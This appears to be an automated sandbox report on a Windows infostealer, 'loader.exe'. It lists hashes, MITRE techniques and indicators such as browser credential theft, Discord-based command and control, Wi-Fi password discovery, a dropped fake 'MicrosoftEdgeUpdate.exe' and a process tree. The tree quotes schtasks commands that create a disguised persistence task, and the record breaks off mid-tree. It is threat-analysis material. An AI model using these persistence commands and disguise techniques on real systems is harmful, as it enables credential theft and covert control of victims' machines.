11083c508e3f79082963091c04e59ce2a686978a8cf5af954c2ac3ba4a0ea1ad

Analysis

max time kernel
150s
max time network
154s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
08/09/2026, 03:07

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
loader.exe
Size 40.0MB
Sample260908-dmrxms1apf
SHA256 11083c508e3f79082963091c04e59ce2a686978a8cf5af954c2ac3ba4a0ea1ad
MD5 c87e058eee6696df8af59b6b773a7ede
SHA1 a58880d89d3f9bce0b65019fce017eebd05eb200
SHA512 9fb313967965593ef99b1ce71a5ceb59b3f5171cfd1882f691e1635fb10848cbdaf008e490cfd5f88ee88d6e59a4cd3209e33ea02ccc70c2ec66e53499d80302
SSDEEP 393216:f1Du8BtuBw2FEL3Z3aLUoQvo6LP/SgbSpYvKEh1EdKwlGQKPJuGsiTfREsrgCYfc:fMguj8Q4VfvBqFTrYCJufOu
TLSH
T17B979C0773E60195E5B7D2388AA65507D773B8638331CBDF329D06151FABAE09A7E320
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

defense_evasion discovery execution persistence privilege_escalation spyware stealer

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
4584	MicrosoftEdgeUpdate.exe
5104	MicrosoftEdgeUpdate.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 17 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2552	powershell.exe
1940	powershell.exe
1300	powershell.exe
1244	powershell.exe
3012	powershell.exe
2348	powershell.exe
2584	powershell.exe
2060	powershell.exe
2876	powershell.exe
2600	powershell.exe
6004	powershell.exe
6116	powershell.exe
5588	powershell.exe
3168	powershell.exe
4892	powershell.exe
1708	powershell.exe
4028	powershell.exe

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
1	discord.com
20	discord.com

Indicator Removal: Clear Persistence 1 TTPs 6 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
3396	cmd.exe
1736	cmd.exe
244	cmd.exe
5696	cmd.exe
2576	cmd.exe
5072	cmd.exe

Looks up external IP address via web service 1 TTPs 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
1	ip-api.com

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\SysWOW64\MicrosoftEdgeUpdate.exe	loader.exe

Drops file in Windows directory 26 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\jeyw5na4\jeyw5na4.dll	powershell.exe
File created	C:\Windows\SystemTemp\jeyw5na4\jeyw5na4.tmp	powershell.exe
File created	C:\Windows\SystemTemp\uszm5i3a\uszm5i3a.dll	powershell.exe
File created	C:\Windows\SystemTemp\jeyw5na4\jeyw5na4.out	powershell.exe
File created	C:\Windows\SystemTemp\jeyw5na4\jeyw5na4.err	powershell.exe
File created	\??\c:\Windows\SystemTemp\uszm5i3a\CSCE0A5646BFA1F481ABCBC996E32A2255C.TMP	csc.exe
File created	\??\c:\Windows\SystemTemp\jeyw5na4\CSC8C79AA67A90D483F8DB1E03F37A19233.TMP	csc.exe
File opened for modification	C:\Windows\SystemTemp\RESD5F.tmp	cvtres.exe
File opened for modification	\??\c:\Windows\SystemTemp\jeyw5na4\jeyw5na4.dll	csc.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_wu4drbyr.fxx.psm1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_xnrynlum.xjh.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_imos2r0i.mlt.psm1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_sywrnw3k.kvr.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_0ujbunfy.cie.psm1	powershell.exe
File created	C:\Windows\SystemTemp\uszm5i3a\uszm5i3a.0.cs	powershell.exe
File created	C:\Windows\SystemTemp\uszm5i3a\uszm5i3a.out	powershell.exe
File opened for modification	\??\c:\Windows\SystemTemp\uszm5i3a\uszm5i3a.dll	csc.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_35fig5ni.gt1.psm1	powershell.exe
File created	C:\Windows\SystemTemp\jeyw5na4\jeyw5na4.0.cs	powershell.exe
File created	C:\Windows\SystemTemp\uszm5i3a\uszm5i3a.tmp	powershell.exe
File created	C:\Windows\SystemTemp\jeyw5na4\jeyw5na4.cmdline	powershell.exe
File created	C:\Windows\SystemTemp\uszm5i3a\uszm5i3a.cmdline	powershell.exe
File created	C:\Windows\SystemTemp\uszm5i3a\uszm5i3a.err	powershell.exe
File opened for modification	C:\Windows\SystemTemp\RESD60.tmp	cvtres.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_yel4g4nn.0ex.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_gicajkai.wpk.ps1	powershell.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 31 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5284	cmd.exe
4620	cmd.exe
4164	cmd.exe
6132	cmd.exe
4884	cmd.exe
2964	cmd.exe
1392	cmd.exe
4456	cmd.exe
4816	cmd.exe
2736	cmd.exe
2416	cmd.exe
1044	cmd.exe
2596	cmd.exe
3332	cmd.exe
3892	cmd.exe
3968	cmd.exe
6004	cmd.exe
5888	cmd.exe
4452	cmd.exe
5108	cmd.exe
4200	cmd.exe
5008	cmd.exe
4692	cmd.exe
4892	cmd.exe
2344	cmd.exe
944	cmd.exe
3448	cmd.exe
1616	cmd.exe
3964	cmd.exe
1412	cmd.exe
2360	cmd.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 4 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
4892	cmd.exe
4012	netsh.exe
4456	cmd.exe
4412	netsh.exe

Checks processor information in registry 2 TTPs 48 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	MicrosoftEdgeUpdate.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	MicrosoftEdgeUpdate.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	MicrosoftEdgeUpdate.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2	MicrosoftEdgeUpdate.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\~MHz	MicrosoftEdgeUpdate.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\~MHz	MicrosoftEdgeUpdate.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	loader.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	loader.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\~MHz	loader.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\~MHz	loader.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\ProcessorNameString	loader.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6	loader.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\ProcessorNameString	loader.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\ProcessorNameString	MicrosoftEdgeUpdate.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5	loader.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\~MHz	loader.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\ProcessorNameString	loader.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	MicrosoftEdgeUpdate.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\ProcessorNameString	MicrosoftEdgeUpdate.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7	loader.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\~MHz	loader.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\ProcessorNameString	MicrosoftEdgeUpdate.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	MicrosoftEdgeUpdate.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\~MHz	MicrosoftEdgeUpdate.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\~MHz	MicrosoftEdgeUpdate.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6	MicrosoftEdgeUpdate.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\~MHz	MicrosoftEdgeUpdate.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7	MicrosoftEdgeUpdate.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\~MHz	loader.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	MicrosoftEdgeUpdate.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\~MHz	MicrosoftEdgeUpdate.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\ProcessorNameString	MicrosoftEdgeUpdate.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	loader.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	loader.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3	loader.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4	MicrosoftEdgeUpdate.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3	MicrosoftEdgeUpdate.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\ProcessorNameString	MicrosoftEdgeUpdate.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	loader.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\ProcessorNameString	loader.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\ProcessorNameString	loader.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4	loader.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\ProcessorNameString	loader.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5	MicrosoftEdgeUpdate.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2	loader.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\~MHz	loader.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\ProcessorNameString	MicrosoftEdgeUpdate.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	loader.exe

Kills process with taskkill 6 IoCs

defense_evasion

pid	Process
4340	taskkill.exe
6104	taskkill.exe
5992	taskkill.exe
3180	taskkill.exe
5332	taskkill.exe
1456	taskkill.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 6 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2764	schtasks.exe
1700	schtasks.exe
4344	schtasks.exe
6136	schtasks.exe
4272	schtasks.exe
3492	schtasks.exe

Suspicious behavior: EnumeratesProcesses 58 IoCs

pid	Process
6116	powershell.exe
6116	powershell.exe
6116	powershell.exe
4768	powershell.exe
4768	powershell.exe
4768	powershell.exe
5588	powershell.exe
5588	powershell.exe
5588	powershell.exe
6004	powershell.exe
6004	powershell.exe
6004	powershell.exe
2552	powershell.exe
2552	powershell.exe
2552	powershell.exe
1940	powershell.exe
1940	powershell.exe
1940	powershell.exe
3168	powershell.exe
3168	powershell.exe
3168	powershell.exe
4892	powershell.exe
4892	powershell.exe
4892	powershell.exe
2584	powershell.exe
2584	powershell.exe
2584	powershell.exe
2876	powershell.exe
2876	powershell.exe
2876	powershell.exe
2348	powershell.exe
2348	powershell.exe
2060	powershell.exe
2060	powershell.exe
2348	powershell.exe
2060	powershell.exe
1300	powershell.exe
1300	powershell.exe
1300	powershell.exe
2600	powershell.exe
2600	powershell.exe
2600	powershell.exe
1708	powershell.exe
1708	powershell.exe
1708	powershell.exe
4028	powershell.exe
4028	powershell.exe
4028	powershell.exe
1244	powershell.exe
1244	powershell.exe
1244	powershell.exe
5104	MicrosoftEdgeUpdate.exe
5104	MicrosoftEdgeUpdate.exe
3012	powershell.exe
3012	powershell.exe
3012	powershell.exe
4236	loader.exe
4236	loader.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeDebugPrivilege	4340	taskkill.exe
Token: SeDebugPrivilege	6116	powershell.exe
Token: SeDebugPrivilege	4768	powershell.exe
Token: SeDebugPrivilege	6104	taskkill.exe
Token: SeDebugPrivilege	5588	powershell.exe
Token: SeDebugPrivilege	6004	powershell.exe
Token: SeDebugPrivilege	2552	powershell.exe
Token: SeDebugPrivilege	1940	powershell.exe
Token: SeDebugPrivilege	3168	powershell.exe
Token: SeDebugPrivilege	4892	powershell.exe
Token: SeDebugPrivilege	2584	powershell.exe
Token: SeDebugPrivilege	2876	powershell.exe
Token: SeDebugPrivilege	2348	powershell.exe
Token: SeDebugPrivilege	2060	powershell.exe
Token: SeDebugPrivilege	1300	powershell.exe
Token: SeDebugPrivilege	2600	powershell.exe
Token: SeDebugPrivilege	5992	taskkill.exe
Token: SeDebugPrivilege	1708	powershell.exe
Token: SeDebugPrivilege	3180	taskkill.exe
Token: SeDebugPrivilege	4028	powershell.exe
Token: SeDebugPrivilege	5332	taskkill.exe
Token: SeDebugPrivilege	1456	taskkill.exe
Token: SeDebugPrivilege	1244	powershell.exe
Token: SeDebugPrivilege	3012	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4928 wrote to memory of 4236	4928	loader.exe	89
PID 4236 wrote to memory of 5072	4236	loader.exe	90
PID 5072 wrote to memory of 2196	5072	cmd.exe	92
PID 4236 wrote to memory of 1044	4236	loader.exe	93
PID 1044 wrote to memory of 4272	1044	cmd.exe	95
PID 4236 wrote to memory of 944	4236	loader.exe	96
PID 944 wrote to memory of 4340	944	cmd.exe	98
PID 4236 wrote to memory of 3448	4236	loader.exe	101
PID 3448 wrote to memory of 3492	3448	cmd.exe	103
PID 4236 wrote to memory of 1616	4236	loader.exe	104
PID 1616 wrote to memory of 4840	1616	cmd.exe	106
PID 4236 wrote to memory of 3964	4236	loader.exe	108
PID 3964 wrote to memory of 6116	3964	cmd.exe	110
PID 4584 wrote to memory of 5104	4584	MicrosoftEdgeUpdate.exe	114
PID 5104 wrote to memory of 3396	5104	MicrosoftEdgeUpdate.exe	116
PID 3396 wrote to memory of 4916	3396	cmd.exe	118
PID 5104 wrote to memory of 5888	5104	MicrosoftEdgeUpdate.exe	119
PID 5888 wrote to memory of 2764	5888	cmd.exe	121
PID 5104 wrote to memory of 3332	5104	MicrosoftEdgeUpdate.exe	122
PID 3332 wrote to memory of 6104	3332	cmd.exe	124
PID 4236 wrote to memory of 6132	4236	loader.exe	125
PID 6132 wrote to memory of 5588	6132	cmd.exe	127
PID 5104 wrote to memory of 5284	5104	MicrosoftEdgeUpdate.exe	128
PID 5284 wrote to memory of 1700	5284	cmd.exe	130
PID 5104 wrote to memory of 2596	5104	MicrosoftEdgeUpdate.exe	131
PID 2596 wrote to memory of 3052	2596	cmd.exe	133
PID 5104 wrote to memory of 3892	5104	MicrosoftEdgeUpdate.exe	135
PID 3892 wrote to memory of 1940	3892	cmd.exe	138
PID 4236 wrote to memory of 1736	4236	loader.exe	139
PID 1736 wrote to memory of 1508	1736	cmd.exe	187
PID 4236 wrote to memory of 2416	4236	loader.exe	142
PID 2416 wrote to memory of 3168	2416	cmd.exe	144
PID 5104 wrote to memory of 244	5104	MicrosoftEdgeUpdate.exe	145
PID 244 wrote to memory of 3124	244	cmd.exe	147
PID 4236 wrote to memory of 2344	4236	loader.exe	148
PID 5104 wrote to memory of 4884	5104	MicrosoftEdgeUpdate.exe	150
PID 2344 wrote to memory of 4344	2344	cmd.exe	151
PID 4884 wrote to memory of 4892	4884	cmd.exe	204
PID 4236 wrote to memory of 3968	4236	loader.exe	154
PID 3968 wrote to memory of 572	3968	cmd.exe	156
PID 4236 wrote to memory of 5108	4236	loader.exe	158
PID 5108 wrote to memory of 2584	5108	cmd.exe	160
PID 5104 wrote to memory of 4816	5104	MicrosoftEdgeUpdate.exe	161
PID 4816 wrote to memory of 6136	4816	cmd.exe	163
PID 5104 wrote to memory of 2964	5104	MicrosoftEdgeUpdate.exe	164
PID 2964 wrote to memory of 5220	2964	cmd.exe	166
PID 5104 wrote to memory of 4452	5104	MicrosoftEdgeUpdate.exe	168
PID 4452 wrote to memory of 2876	4452	cmd.exe	170
PID 2060 wrote to memory of 3688	2060	powershell.exe	173
PID 4236 wrote to memory of 1412	4236	loader.exe	175
PID 2348 wrote to memory of 4124	2348	powershell.exe	174
PID 1412 wrote to memory of 1300	1412	cmd.exe	177
PID 5104 wrote to memory of 1392	5104	MicrosoftEdgeUpdate.exe	178
PID 1392 wrote to memory of 2600	1392	cmd.exe	180
PID 4124 wrote to memory of 1348	4124	csc.exe	181
PID 3688 wrote to memory of 2456	3688	csc.exe	182
PID 4236 wrote to memory of 5696	4236	loader.exe	183
PID 5696 wrote to memory of 5044	5696	cmd.exe	185
PID 4236 wrote to memory of 4692	4236	loader.exe	186
PID 4692 wrote to memory of 5992	4692	cmd.exe	188
PID 5104 wrote to memory of 2576	5104	MicrosoftEdgeUpdate.exe	189
PID 2576 wrote to memory of 3716	2576	cmd.exe	191
PID 4236 wrote to memory of 2736	4236	loader.exe	192
PID 2736 wrote to memory of 1708	2736	cmd.exe	194

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\loader.exe
"C:\Users\Admin\AppData\Local\Temp\loader.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4928
- C:\Users\Admin\AppData\Local\Temp\loader.exe
  C:\Users\Admin\AppData\Local\Temp\loader.exe C:\snapshot\tetest\index.js --hidden
  2⤵
  - Drops file in System32 directory
  - Checks processor information in registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:4236
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "schtasks /delete /tn "MicrosoftEdgeUpdateTask" /f 2>nul"
    3⤵
    - Indicator Removal: Clear Persistence
    - Suspicious use of WriteProcessMemory
    PID:5072
  - - C:\Windows\system32\schtasks.exe
      schtasks /delete /tn "MicrosoftEdgeUpdateTask" /f
      4⤵
      PID:2196
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "MicrosoftEdgeUpdateTask" /xml "C:\Users\Admin\AppData\Local\Temp\discord_stealer_1788836909708\task.xml" /f"
